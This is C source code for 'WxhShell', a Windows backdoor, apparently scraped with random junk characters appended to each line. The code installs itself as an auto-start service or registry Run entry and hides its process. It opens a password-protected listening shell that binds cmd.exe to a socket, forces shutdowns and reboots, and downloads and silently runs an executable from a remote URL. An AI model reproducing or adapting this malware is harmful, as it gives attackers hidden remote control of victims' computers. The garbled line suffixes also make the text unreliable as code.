    break; EqwA8? M  
    } OU=IV;V{  
  // 关机 Dp'af4+%$  
  case 'd': { OVK(:{PwS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y mSaIf  
    if(Boot(SHUTDOWN)) 2uB26SEIl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ps,w(k{d  
    else { -0){C|,6  
    closesocket(wsh); n9yv.p]  
    ExitThread(0); Ase1R=0  
    } ECfY~qK  
    break; Ok"wec+,  
    } aa3YtNpP  
  // 获取shell F&Z>B};  
  case 's': { N.J:Qn`(  
    CmdShell(wsh); EE{%hGb  
    closesocket(wsh); sA j$U^Gp  
    ExitThread(0); 1x 8]&  
    break; :udZfA\sW  
  } "q8 'tN><  
  // 退出 #Z5~a9rO  
  case 'x': { "lMWSCas  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #jR?C9&!(  
    CloseIt(wsh); 9$t@Gmn  
    break; wIPDeC4  
    } 32J  
  // 离开 r8E!-r}rno  
  case 'q': { LDNUywj@w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &$ 9bC 't6  
    closesocket(wsh);  n6dg   
    WSACleanup(); \Bf{/r5x  
    exit(1); ON^u|*kO  
    break; XiUsaoQm3  
        } (9h{6rc=I  
  } )v.FAV:  
  } +<#-52br\  
o{eG6  
  // 提示信息 7wiu%zfa:=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); riQ?'!a7  
} HxAa,+k  
  } z(` kWF1<  
OTm"Iwzu@  
  return; $xwF;:)  
} cwM0Z6  
f5eX%FR  
// shell模块句柄 zj}efv<e  
int CmdShell(SOCKET sock) !ym5' h  
{ kSrzIq<xre  
STARTUPINFO si; 3x$#L!VuU  
ZeroMemory(&si,sizeof(si)); 3J{'|3x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z5zm,Jw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T!AQJ:;1  
PROCESS_INFORMATION ProcessInfo; A#{*A  
char cmdline[]="cmd"; o! N@W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L T!X|O.  
  return 0; p^3d1H3   
} 5^i ^?  
P^r8JhDJ  
// 自身启动模式 q1j[eru  
int StartFromService(void) a$-ax[:\sm  
{ _t7A'`Dh]  
typedef struct g.qp _O  
{ hHQt4 r'd  
  DWORD ExitStatus; B;$5*3D+  
  DWORD PebBaseAddress; ny0`~bl{p  
  DWORD AffinityMask; rA7S1)Kq  
  DWORD BasePriority; q Sah_N  
  ULONG UniqueProcessId; f&J*(F*u  
  ULONG InheritedFromUniqueProcessId; IB<ihk  
}   PROCESS_BASIC_INFORMATION; x3 <Lx^;  
G#>nOB  
PROCNTQSIP NtQueryInformationProcess; ME"/%59r  
F ry5v?22  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sP#5l @  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *HUqW}_r  
B:SRHd{*Wu  
  HANDLE             hProcess; 2TO1i0  
  PROCESS_BASIC_INFORMATION pbi; mv_-|N~  
z%z$'m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `K.yE0^i  
  if(NULL == hInst ) return 0; (G Y`O  
/nNHI34  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %1<|.Dmd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A}o1I1+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "=)`*"rr  
>jm9x1+C  
  if (!NtQueryInformationProcess) return 0; qIl@,8T  
%$U+?lk}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {$JIR}4S  
  if(!hProcess) return 0; c'C2V9t  
|gNOv;l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `CBTZG09  
}T@AoIR0t  
  CloseHandle(hProcess); GOjri  
o<;"+@v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U-d&q>_@A  
if(hProcess==NULL) return 0; aE}u5L$#  
{Ffr l(*  
HMODULE hMod; bk 2vce&  
char procName[255]; 2epL!j)Wh  
unsigned long cbNeeded; (<t)5?@%  
f#?R!pR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^"I!+Teb  
P]G2gDO  
  CloseHandle(hProcess); 4R.#=]F  
)!Bv8&;e  
if(strstr(procName,"services")) return 1; // 以服务启动 2zAS \Y  
lEJTd3dMi  
  return 0; // 注册表启动 3UEh%Ho  
} eL*Edl|#  
 .*+ &>m7  
// 主模块 q0o6%c:gW  
int StartWxhshell(LPSTR lpCmdLine) 6 [IiJhVL  
{ "xKJ?8   
  SOCKET wsl; zB4gnVhus|  
BOOL val=TRUE; b^1!_1c  
  int port=0; _?8T'?-1  
  struct sockaddr_in door; NB[b[1 Ch  
_nF_RpS  
  if(wscfg.ws_autoins) Install(); JL1Whf  
e |!i1e!  
port=atoi(lpCmdLine); Lgy}Gm8u5  
LY7'wONx  
if(port<=0) port=wscfg.ws_port; P<U{jkM\/  
n#iL[ &/Aw  
  WSADATA data; uKplPze?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  I2b[  
Q[ IaA"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;     ~*RNJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3>Yec6Hs  
  door.sin_family = AF_INET; !,]_tw>R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D`+'#%%x  
  door.sin_port = htons(port); 8"? t6Z;5  
7@:uVowQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0 I,-1o|s  
closesocket(wsl); %NKf@If)  
return 1; %',. K)IR  
} $?7}4u,  
\ FA7 +Q  
  if(listen(wsl,2) == INVALID_SOCKET) { *v6'I-#  
closesocket(wsl); z}Q54,9m  
return 1; H}d&>!\}F  
} nI-\HAX  
  Wxhshell(wsl); >qOhzbAH{<  
  WSACleanup(); z7}@8F  
/W%{b:  
return 0; %@LVoP!@!  
3.Y/ZWON  
} 0HE@L_$;2  
Al! P=h  
// 以NT服务方式启动 1L3L!@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mwBOhEefNJ  
{ `.@N9+Aj  
DWORD   status = 0; Y?Xs Z  
  DWORD   specificError = 0xfffffff; /" ,]J  
R/iXO~/"J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SH"O<c Dp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jZ)1]Q2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kZeb^Q+,  
  serviceStatus.dwWin32ExitCode     = 0; v~j21`  
  serviceStatus.dwServiceSpecificExitCode = 0; |]V0sgpoZ  
  serviceStatus.dwCheckPoint       = 0; \S _ycn  
  serviceStatus.dwWaitHint       = 0; 7JjTm^bu  
mIt=r_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YOqBIbp~&)  
  if (hServiceStatusHandle==0) return; !-[e$?-  
Rb?6N  
status = GetLastError(); a *>$6H;  
  if (status!=NO_ERROR) 'z@(,5  
{ ?EdF&^[3rD  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JPRl/P$  
    serviceStatus.dwCheckPoint       = 0; -(P"+g3T  
    serviceStatus.dwWaitHint       = 0; HI55):Eb  
    serviceStatus.dwWin32ExitCode     = status; EP*"=_  
    serviceStatus.dwServiceSpecificExitCode = specificError; HqOzArp3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fq:BRgCE  
    return; yy@g=<okt\  
  } E`$d!7O  
qn:3s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JS} iNS'X  
  serviceStatus.dwCheckPoint       = 0; D >$9(  
  serviceStatus.dwWaitHint       = 0; yi PMJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); THC34u]  
} R0vWj9nPh  
?!KqDI  
// 处理NT服务事件,比如:启动、停止 e~oI0%xl^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wP29 xV"5  
{ y\]:&)?&C^  
switch(fdwControl) ,iV|^]X3$/  
{ _O{3bIay3!  
case SERVICE_CONTROL_STOP: dL!PpLR$2  
  serviceStatus.dwWin32ExitCode = 0; u.43b8!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C0J/FFBQ^  
  serviceStatus.dwCheckPoint   = 0; p{gJVP#l'Z  
  serviceStatus.dwWaitHint     = 0; G[GSt`LVS`  
  { X)P9f N~7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q &#f#Ou  
  } I'm.+(1m,  
  return; WZ> }  
case SERVICE_CONTROL_PAUSE: v25]}9/C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w*n@_n={  
  break; {wVj-w=<W  
case SERVICE_CONTROL_CONTINUE: /SO 4O|b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )ERmSWq/u  
  break; _NA[g:DZ&O  
case SERVICE_CONTROL_INTERROGATE: ?U$H`[VF}  
  break; [f 4Nq \i  
}; 7M9Ey29f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j&~`H:=E  
} =f4>vo}@k  
teIUSB[  
// 标准应用程序主函数 8`M) r'5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (= #EJB1(  
{ hj[&.w  
= wEU+R_#o  
// 获取操作系统版本 k /srT<  
OsIsNt=GetOsVer(); h)7hk*I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AUBZ7*VO  
O7vJ`K(!  
  // 从命令行安装 -k(bM:  
  if(strpbrk(lpCmdLine,"iI")) Install(); a*/%EP3  
^26vP7  
  // 下载执行文件 ^N# z&oh  
if(wscfg.ws_downexe) { O(pa;&"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {{N*/ E^  
  WinExec(wscfg.ws_filenam,SW_HIDE); $IUe](a{d  
} J?DJA2o  
v@n0ma=  
if(!OsIsNt) { H.-VfROi2  
// 如果时win9x,隐藏进程并且设置为注册表启动 @,kR<1  
HideProc(); LlbRr.wL  
StartWxhshell(lpCmdLine); bMU0h,|]  
} qGivRDR$  
else q}x+#[Ef  
  if(StartFromService()) 4+?d0  
  // 以服务方式启动 uPh/u!  
  StartServiceCtrlDispatcher(DispatchTable); {XR 3L'X  
else 'fo.1  
  // 普通方式启动 so=Ux2  
  StartWxhshell(lpCmdLine); d x52[W  
T'8d|$X  
return 0; Ga,+  
} s\/$`fuhx  
J2Y S+%K  
S~GL_#a  
0[L)`7  
=========================================== 1>)q 5D  
?xX9o  
.0=VQU  
L>@:Xo@  
jq_E{Dq1  
;;f&aujSHD  
" Z~[EZgIg  
o%j[]P@4G  
#include <stdio.h> e]5 n4"]D)  
#include <string.h> qL;u59  
#include <windows.h> nA1059B  
#include <winsock2.h> 5oOF|IYi  
#include <winsvc.h> T>P[0`*)  
#include <urlmon.h> {>r56 \!F  
glL.CkJ  
#pragma comment (lib, "Ws2_32.lib") (,P6cWt}"  
#pragma comment (lib, "urlmon.lib") o W<Z8s;p  
VV'*3/I  
#define MAX_USER   100 // 最大客户端连接数 vr2cDk{  
#define BUF_SOCK   200 // sock buffer mu$0x)  
#define KEY_BUFF   255 // 输入 buffer =]F;{x  
D:Rr|m0Tk  
#define REBOOT     0   // 重启 Z)qts=  
#define SHUTDOWN   1   // 关机 9jkaEn>m^  
#^i.[7p  
#define DEF_PORT   5000 // 监听端口 :@oy5zib  
i!KZg74V  
#define REG_LEN     16   // 注册表键长度 + $Yld{i  
#define SVC_LEN     80   // NT服务名长度 F<9S,  
IVY{N/ 3|  
// 从dll定义API 3q}fDM(@J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xPp\OuwK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?yNg5z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pVN) k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (U?*Z/  
Bk44 wz2 X  
// wxhshell配置信息 N.1 @!\z@@  
struct WSCFG { ps@;Z ?Q  
  int ws_port;         // 监听端口 =}pPr]Cc  
  char ws_passstr[REG_LEN]; // 口令 N"k IQe*}1  
  int ws_autoins;       // 安装标记, 1=yes 0=no IN!,|)8s  
  char ws_regname[REG_LEN]; // 注册表键名 %pd-{KR  
  char ws_svcname[REG_LEN]; // 服务名 @a]O(S>Ub  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2N /4.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5,~Ju>y*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {];8jdg/?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r5wy]z^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N3U.62  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n 97pxD_74  
WAzn`xGxR"  
}; -ufO,tJRLL  
tqYwP Sr  
// default Wxhshell configuration :Sc"fG,g)  
struct WSCFG wscfg={DEF_PORT, =[Z uE0c  
    "xuhuanlingzhe", i*l-w4D^U  
    1, ]>T4\?aC  
    "Wxhshell", |A/)b78'u  
    "Wxhshell", >0c4C< _  
            "WxhShell Service", @b]?Gg  
    "Wrsky Windows CmdShell Service", 3U\| E  
    "Please Input Your Password: ", i pi^sCYp  
  1, _&U.DMt2 C  
  "http://www.wrsky.com/wxhshell.exe", ~jOn)jBRZ  
  "Wxhshell.exe" OA?pBA  
    }; 2leTEs5aK`  
kKlcK_b;  
// 消息定义模块 *= ;M',nx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [+8in\T i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r!C#PiT}I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YYs/r  
char *msg_ws_ext="\n\rExit."; !ma%Zk  
char *msg_ws_end="\n\rQuit."; 8~@?cy1j!  
char *msg_ws_boot="\n\rReboot..."; 'Z{_w s  
char *msg_ws_poff="\n\rShutdown..."; }#D+}Mo!,  
char *msg_ws_down="\n\rSave to "; QKVFH:"3  
(fUpj^E)p  
char *msg_ws_err="\n\rErr!"; [G#PK5C  
char *msg_ws_ok="\n\rOK!"; [gE_\=FSKu  
WJA0 `<~  
char ExeFile[MAX_PATH]; 1[U`,(C1  
int nUser = 0; .W*"C  
HANDLE handles[MAX_USER]; WETnrA"N  
int OsIsNt; %xuJQuCqf  
7}%Z>  
SERVICE_STATUS       serviceStatus; fC<pCdsg  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Jb1L[sT2  
h,!`2_&UQ  
// 函数声明 8G<{L0J%!  
int Install(void); r&0IhE  
int Uninstall(void); >u=Dc.lX  
int DownloadFile(char *sURL, SOCKET wsh); tX'2 $}  
int Boot(int flag); Mv%"aFC  
void HideProc(void); [!'fE #"a  
int GetOsVer(void); QHmF,P  
int Wxhshell(SOCKET wsl); Eb.k:8?Tn  
void TalkWithClient(void *cs); 5S/YVRXq  
int CmdShell(SOCKET sock); G.l ~!;  
int StartFromService(void); +B#+'  
int StartWxhshell(LPSTR lpCmdLine); \:Vm7Zg  
d:&=|kKw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aEvW<jHh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q:a-tdv2  
Mep ct  
// 数据结构和表定义 y c:y}"  
SERVICE_TABLE_ENTRY DispatchTable[] = s+ a} _a:  
{ -RKqbfmi=  
{wscfg.ws_svcname, NTServiceMain}, ziXZJ^(FI  
{NULL, NULL} ~[ZRE @  
}; <Y"h2#M"  
3-6Lbe9H  
// 自我安装 H$4 4,8,m  
int Install(void) C>~ms2c  
{ (Ee5Af,4  
  char svExeFile[MAX_PATH]; AR?1_]"=  
  HKEY key; ;'i>^zX`  
  strcpy(svExeFile,ExeFile); + rN&@}Jt.  
bg/a5$t  
// 如果是win9x系统,修改注册表设为自启动 mK_2VZj&  
if(!OsIsNt) { +DwE~l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J *nWCL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W"[Q=$2<<  
  RegCloseKey(key); ~`Rb"Zn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /+JHnedK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,.,spoV  
  RegCloseKey(key); zbgH}6b  
  return 0; 3!qp+i)?  
    } <; P40jDL  
  } _/[}PQC6G  
} &qMt07  
else { O]VHX![Y$  
F!qt=)V@w  
// 如果是NT以上系统,安装为系统服务 7 <<`9,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oa<%R8T?@  
if (schSCManager!=0) 9YEE.=]T  
{ U-:"Wx%G  
  SC_HANDLE schService = CreateService kkU#0p?7  
  ( vlVHoF;&  
  schSCManager, { YMO8  
  wscfg.ws_svcname, ,vs#(d6G  
  wscfg.ws_svcdisp, hq*"S -N  
  SERVICE_ALL_ACCESS, ,*m{Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PUbfQg  
  SERVICE_AUTO_START, U%V4@iz~\m  
  SERVICE_ERROR_NORMAL, FT[of(g^  
  svExeFile, Y{7)$'At  
  NULL, b-?d(-  
  NULL, ~jD~_JGp  
  NULL, GWW#\0*Bn  
  NULL, a%*W( 4=Y  
  NULL sa w  
  ); c@|f'V4  
  if (schService!=0) )zAATBb4.  
  { &hu3A)%  
  CloseServiceHandle(schService); ,R[<+!RS  
  CloseServiceHandle(schSCManager); 6(8zt"E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZO8r8 [  
  strcat(svExeFile,wscfg.ws_svcname); 'BX U '  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D $&6 8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .g>0FP  
  RegCloseKey(key); XE($t2x,M  
  return 0; W4&Itj  
    } I' 'X\/|  
  } Vi<6i0  
  CloseServiceHandle(schSCManager); MHQM'  
} THy{r_dx  
} AYsiaSTRqW  
u3C0!{v  
return 1; o-+H-  
} AB=Wj*f r  
RgSB?  
// 自我卸载 ZLlAK?N  
int Uninstall(void) @pN6uDD}R  
{ yW@YW_2;4  
  HKEY key; @ S)p{T5G  
4|h>.^  
if(!OsIsNt) { yi:1cLq2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1k!$#1d<  
  RegDeleteValue(key,wscfg.ws_regname); v-&@c  
  RegCloseKey(key); F@<^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "sJ@_lp  
  RegDeleteValue(key,wscfg.ws_regname); }e-D&U  
  RegCloseKey(key); ffG1QvC|M  
  return 0; cpu|tK.t  
  } q85 4k+C  
} b&P2VqYgl  
} @m+FAdA 0  
else { y\XWg`X y  
f{+X0Oj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aC#{@t  
if (schSCManager!=0) o+g\\5s  
{ iJb-F*_y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C)BVsHT4  
  if (schService!=0) ^2LqKo\T  
  { nVoP:FHH  
  if(DeleteService(schService)!=0) { xG:7AGZ$[  
  CloseServiceHandle(schService); oH1]-Nl$  
  CloseServiceHandle(schSCManager); n0b{Jg *  
  return 0; M9QxF  
  } 3\j3vcuy  
  CloseServiceHandle(schService); '@f#GNRT  
  } 17[vq!x6  
  CloseServiceHandle(schSCManager); :Fdk`aC  
} GB{Q)L  
} , %A2wV  
)F m'i&F_  
return 1; } QpyU%  
} 3Gt@Fo=  
#C+7~ns'  
// 从指定url下载文件 @vPGkM#oW  
int DownloadFile(char *sURL, SOCKET wsh) ] 69z-;  
{ C A$R  
  HRESULT hr; J=B,$4)9  
char seps[]= "/"; ]~7xq)28  
char *token; 9M7Wlx2  
char *file; ESi-'R&  
char myURL[MAX_PATH]; # 66vkf*  
char myFILE[MAX_PATH]; j1K?QH=e#{  
>=YQxm}GJ  
strcpy(myURL,sURL); b X4]/4%  
  token=strtok(myURL,seps); lB(P+yY,/'  
  while(token!=NULL) Qk8YR5 K   
  { :tp{(MF  
    file=token; 85ND 3F6q4  
  token=strtok(NULL,seps); M7c53fz  
  } .83z =  
k@Bn}r  
GetCurrentDirectory(MAX_PATH,myFILE); #R# |hw  
strcat(myFILE, "\\"); 9iN}v   
strcat(myFILE, file); b ix}#M  
  send(wsh,myFILE,strlen(myFILE),0); SOeRQb'  
send(wsh,"...",3,0); ZqfoO!Ta  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (5>IF,}!L  
  if(hr==S_OK) 2YpJ4.  
return 0; e89IT*  
else 6&L8 {P  
return 1; 7vEZb.~4z  
79}Qj7  
} .`+N+B(4  
{oRR]>  
// 系统电源模块 Gt;U9k|i  
int Boot(int flag) m-R`(  
{ yD( v_J*  
  HANDLE hToken; _Sult;y"u  
  TOKEN_PRIVILEGES tkp; ^i6`w_/  
@.l?V6g9T  
  if(OsIsNt) { -bp7X{&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6mC% zXR5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V?4G~~F  
    tkp.PrivilegeCount = 1; V#\iO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g42f*~l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uEdeA'*^  
if(flag==REBOOT) { /^b=| +Do  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +Ec@qP R&  
  return 0; e! 0Y`lQ  
} R![1\Yv&  
else { MXynv";<H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Rs53R$PIR  
  return 0; +6\1 d5  
} 9`5qVM1O{  
  } qWw{c&{Q],  
  else { O],]\M{GL  
if(flag==REBOOT) { 7-[^0qS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #& &  
  return 0; UE K$  
} @mu=7_$U  
else { V,>uM >$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ItwJL`  
  return 0; )k&!&  
} pF'M  
} YHI@Cj  
pLsJa?}R  
return 1; AHdh]pfH  
} z[De?8=)  
RyZy2^0<  
// win9x进程隐藏模块 H6i;MQ  
void HideProc(void) ZvkBF9d  
{ {WN??eys,  
wj|[a,(r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >UB ozmF=\  
  if ( hKernel != NULL ) at5=Zo[bP  
  { );*#s~R  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P: )YKro]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3L-}B#tI  
    FreeLibrary(hKernel); ]VHO'z\m  
  } .{66q#.  
H]&^>Pvh  
return; ZR@PqS+O/  
} N.|uPq$R  
ZqJyuTPv  
// 获取操作系统版本 {{Z3M>Q  
int GetOsVer(void) dS~#Lzm  
{ o;7_*=i  
  OSVERSIONINFO winfo; $D~vuA7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uDsof?z  
  GetVersionEx(&winfo); lwp(Pq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8eZ^)9m  
  return 1; Bey|f/ <  
  else 1|3{.Ed  
  return 0; .eG_>2'1  
} KU)~p"0[6]  
^fT?(y_= e  
// 客户端句柄模块 *N3X"2X:  
int Wxhshell(SOCKET wsl) Xjnv8{X  
{ _U`1BmTC2  
  SOCKET wsh; UeN+}`!l  
  struct sockaddr_in client; <#No t1R  
  DWORD myID; KPB^>,T2{  
k)B]|,g7G0  
  while(nUser<MAX_USER) yZqX[U  
{ |-.r9;-b  
  int nSize=sizeof(client); E:S (v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kc}&\y  
  if(wsh==INVALID_SOCKET) return 1; S$1dXXT  
2j*o[kAE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?;?$\ b=  
if(handles[nUser]==0) [Z{0|NR  
  closesocket(wsh); GJbU1k]  
else f)%8*B  
  nUser++; EmubpUS;  
  } H\@@iK=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iBy &#^  
@#KZ2^  
  return 0; %Astfn(U{4  
} o%$'-N  
Bd-@@d.H<  
// 关闭 socket H?W8_XiN  
void CloseIt(SOCKET wsh) hF7#i_UN<  
{ 4/M~#  
closesocket(wsh); 2N[S*#~*e  
nUser--; I,wgu:}P#  
ExitThread(0); <-K'9ut,  
} DW.vu%j^[  
{G(N vf,K]  
// 客户端请求句柄 LFT)_DG7(  
void TalkWithClient(void *cs) ;PF!=8dW  
{ KI~M.2pk  
n0< I  
  SOCKET wsh=(SOCKET)cs; K!BS?n;  
  char pwd[SVC_LEN]; >r~!'Pd!  
  char cmd[KEY_BUFF]; gQ~X;'  
char chr[1]; :;u?TFCRx  
int i,j; 89X`U)Ws  
"L~qsFL  
  while (nUser < MAX_USER) { sQ>L3F;A`  
~ (/OB w  
if(wscfg.ws_passstr) { F)^:WWVc#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~Bs=[TNd[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l8Ks{(wh  
  //ZeroMemory(pwd,KEY_BUFF); ]Y@B= 5e/  
      i=0; l~i&r?,]^  
  while(i<SVC_LEN) { [ #1<W`95  
tf_<w?~  
  // 设置超时 AQa;D2B$  
  fd_set FdRead; hRKA,u/G  
  struct timeval TimeOut; XlHt(d0h  
  FD_ZERO(&FdRead); v6q oH)n  
  FD_SET(wsh,&FdRead); ilpP"B  
  TimeOut.tv_sec=8; K|g+W t^tQ  
  TimeOut.tv_usec=0; 7"0l>0 \  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i $:QOMA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +ZK12D}  
)T26 cT$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T0=%RID%=  
  pwd=chr[0]; }Uc)iNU  
  if(chr[0]==0xd || chr[0]==0xa) { c-gpO|4>  
  pwd=0; 9j~|m  
  break; }:2GD0Ru  
  } J5 2- qR/  
  i++; QKt[Kte  
    } a-<&(jV  
<W<>=vDzyE  
  // 如果是非法用户,关闭 socket Bp>Z?"hTe  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N|53|H  
} MmPLJ  
27q=~R}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3}lT"K  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =@E X!]=x  
y2:~_MD  
while(1) { vjz*B$  
m^M sp:T,  
  ZeroMemory(cmd,KEY_BUFF); mM6X0aM  
c^ifHCt|  
      // 自动支持客户端 telnet标准   PA_54a9/<  
  j=0; G&2`c\u{  
  while(j<KEY_BUFF) { oYn|>`+6:y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1o*eu&@  
  cmd[j]=chr[0]; \sZT[42  
  if(chr[0]==0xa || chr[0]==0xd) { M~jV"OF=  
  cmd[j]=0; mOQN$d[  
  break; P UJkC  
  } {InD/l'v6n  
  j++; ap y#8]  
    } XD=p:Ezh  
Ns}BE H  
  // 下载文件 WY)*3?  
  if(strstr(cmd,"http://")) { ] eO25,6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Dq:>]4%  
  if(DownloadFile(cmd,wsh)) +i0j3.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8pZGu8  
